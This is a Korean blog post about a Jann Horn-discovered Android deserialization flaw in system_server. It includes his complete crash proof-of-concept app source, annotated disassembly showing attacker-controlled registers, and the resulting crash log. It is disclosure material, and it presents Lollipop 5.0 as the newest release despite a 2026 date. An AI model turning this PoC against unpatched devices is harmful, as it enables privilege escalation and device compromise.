안드로이드 취약점 · 4 min read · Jan 31, 2026

안드로이드 제작자의 실수로 인해 지금까지 제작된 거의 모든 안드로이드 기기가 취약해짐

Table Of Contents

  • 안드로이드 제작자의 실수로 인해 지금까지 제작된 거의 모든 안드로이드 기기가 취약해짐
  • 직렬화의 결함
  • 동기
  • 개념 증명

안드로이드 제작자의 실수로 인해 지금까지 제작된 거의 모든 안드로이드 기기가 취약해짐

연구원 Jann Horn은 초보 공격자가 시스템을 매우 쉽게 공격할 수 있게 하는 안드로이드의 취약점 개념 증명을 발견했습니다. 이 취약점은 안드로이드 초기 버전을 만들 때 개발자들이 간과한 것이며, 결코 수정되지 않았습니다. Horn이 이 구멍을 알리자, 구글은 패치를 발표했지만 이는 최신 버전인 안드로이드 롤리팝 5.0에서만 사용할 수 있습니다. 이는 롤리팝 5.0 이전의 모든 안드로이드가 이 권한 상승 결함에 취약하다는 것을 의미합니다.

직렬화의 결함

직렬화는 애플리케이션의 데이터를 바이트로 변환하여 물리적 저장소에 저장하는 과정입니다. 반대로, 역직렬화는 이 데이터를 애플리케이션에 유용한 형태로 변환하는 과정입니다. 상상할 수 있듯이, 이는 모든 애플리케이션에 매우 중요한 과정이며, 특히 백업을 수행할 때 중요합니다. “안드로이드 시스템 서비스는 UID 1000에서 실행되며, 모든 애플리케이션의 컨텍스트로 변경할 수 있고, 임의의 권한으로 새로운 애플리케이션을 설치할 수 있습니다.”라고 Horn은 설명합니다.

간단히 말해, 안드로이드에는 역직렬화 중에 공급되는 데이터가 신뢰할 수 있는 출처에서 오는지 확인하는 메커니즘이 없습니다. 따라서 공격자는 이 구멍을 이용해 자신의 데이터를 시스템에 입력할 수 있습니다. 기술적으로 더 관심이 있는 분들을 위해, ”java.io.ObjectInputStream” 메서드에서 악용될 수 있습니다.

동기

Horn은 PHP 웹 애플리케이션의 취약성에 대한 대학 강연에 참석한 후 이러한 취약점이 존재할 수 있다는 아이디어를 얻었습니다. 그는 안드로이드 개발자들도 비슷한 실수를 저질렀고 보안 검사를 잊었을 것이라고 가정했습니다. 그의 가정은 그가 OS를 조사했을 때 사실로 입증되었습니다. 그리고 다행히도 그는 이를 사용하기보다는 안드로이드 팀에 알리기로 결정했습니다. 개발자들은 아마도 이 결함을 놓쳤을 것입니다. 이는 실제로 테스트하는 것이 아니기 때문입니다.

좋은 소식은, 이 결함은 안드로이드의 내장된 권한 제한으로 인해 직접적으로 사용될 수 없다는 것입니다. 따라서 공격자는 이 결함을 사용하기 전에 다른 취약점을 사용해야 합니다. 안드로이드 팀은 AOSP(안드로이드 오픈 소스 프로젝트) 코드 릴리스의 일환으로 11월 초에 이 결함에 대한 패치를 발표했습니다. 그러나 앞서 언급했듯이, 이 패치는 안드로이드 5.0 롤리팝에만 해당됩니다. 그리고 안드로이드 환경이 매우 분산되어 있기 때문에, 이 패치가 넥서스 기기 외의 다른 기기에 도달할지 확실히 알 수 없습니다.

개념 증명

전체 PoC는 아래와 같습니다 :

클래스 android.os.BinderProxy는 네이티브 코드를 호출하는 finalize 메서드를 포함합니다. 이 네이티브 코드는 두 개의 int/long 타입 필드의 값을 사용하여 포인터로 캐스팅하고 이를 따릅니다. 안드로이드 4.4.3에서, 이 포인터 중 하나가 여기에 도달합니다. r0는 공격자가 제공한 포인터를 포함하고 있으며, 공격자가 알려진 주소에서 프로세스에 데이터를 삽입할 수 있다면, 그는 system_server에서 임의의 코드 실행을 얻습니다: # 공격자가 r0에서 포인터를 제어합니다. 0000d1c0 ) const>:
d1c0: b570 push {r4, r5, r6, lr}
d1c2: 4605 mov r5, r0
d1c4: 6844 ldr r4, [r0, #4] # 공격자가 r4를 제어합니다.
d1c6: 460e mov r6, r1
d1c8: 4620 mov r0, r4
d1ca: f7fd e922 blx a410
d1ce: 2801 cmp r0, #1
d1d0: d10b bne.n d1ea
) const+0x2a>
d1d2: 68a0 ldr r0, [r4, #8] # 공격자가 r0를 제어합니다.
d1d4: 4631 mov r1, r6
d1d6: 6803 ldr r3, [r0, #0] # 공격자가 r3를 제어합니다.
d1d8: 68da ldr r2, [r3, #12] # 공격자가 r2를 제어합니다.
d1da: 4790 blx r2 # 공격자가 제어하는 r2 포인터로 점프합니다. 안드로이드에는 ASLR이 있지만, 모든 앱과 마찬가지로 system_server는 zygote 프로세스에서 포크됩니다. 즉, 모든 앱은 system_server와 동일한 기본 메모리 레이아웃을 가지므로 system_server의 ASLR을 우회할 수 있어야 합니다. 여기 내 충돌 PoC 코드가 있습니다. 이를 안드로이드 앱에 넣고, 해당 앱을 설치한 후 열어보세요.
아무 일도 일어나지 않으면, GC가 시간을 끌고 있을 수 있습니다. 다른 작업을 하거나 PoC 앱을 다시 열어보세요. 몇 초 후에 기기가 재부팅하는 것과 같은 작업을 수행해야 합니다.

package net.thejh.badserial; import java.io.Serializable;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method; import dalvik.system.DexClassLoader; import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.UserHandle;
import android.os.UserManager;
import android.util.Log; public class MainActivity extends Activity {
private static final java.lang.String DESCRIPTOR = “android.os.IUserManager”;
private Class clStub;
private Class clProxy;
private int TRANSACTION_setApplicationRestrictions;
private IBinder mRemote; public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle); byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == ‘A’ && data[i+1] == ‘A’ && data[i+2] == ‘d’ && data[i+3] == ‘r’) {
data[i] = ‘a’;
data[i+1] = ‘n’;
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length); mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
} @Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); Log.i(“badserial”, “starting… (v3)”); Context ctx = getBaseContext();
try {
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable(“eatthis”, evilProxy); Class clIUserManager = Class.forName(“android.os.IUserManager”);
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+” inner classes found”);
Class clStub = null;
for (Class c: umSubclasses) {
System.out.println(“inner class: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub”)) {
clStub = c;
}
} Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField(“TRANSACTION_setApplicationRestrictions”);
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null); UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField(“mService”);
fService.setAccessible(true);
Object proxy = fService.get(um); Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+” inner classes found”);
clProxy = null;
for (Class c: stSubclasses) {
System.out.println(“inner class: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub.Proxy”)) {
clProxy = c;
}
} Field fRemote = clProxy.getDeclaredField(“mRemote”);
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy); UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode()); Log.i(“badserial”, “waiting for boom here and over in the system service…”);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public long mObject = 0x1337beef;
public long mOrgue = 0x1337beef;
}

이것이 시스템 로그에서 보여야 할 내용입니다: F/libc ( 382): 치명적인 신호 11 (SIGSEGV) at 0x1337bef3 (code=1), thread 391 (FinalizerDaemon)
[…]
I/DEBUG ( 47): pid: 382, tid: 391, name: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 47): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
I/DEBUG ( 47): r0 1337beef r1 b6de7431 r2 b6ee035c r3 81574845
I/DEBUG ( 47): r4 b6de7431 r5 1337beef r6 b7079ec8 r7 1337beef
I/DEBUG ( 47): r8 1337beef r9 abaf5f68 sl b7056678 fp a928bb04
I/DEBUG ( 47): ip b6e1e8c8 sp a928bac8 lr b6de63d9 pc b6e6c15e cpsr 60000030

Resource : Secure List

Share: X/Twitter LinkedIn

새 게시물을 받은 편지함에서 받기

스팸은 없습니다. 언제든지 구독 해지 가능합니다.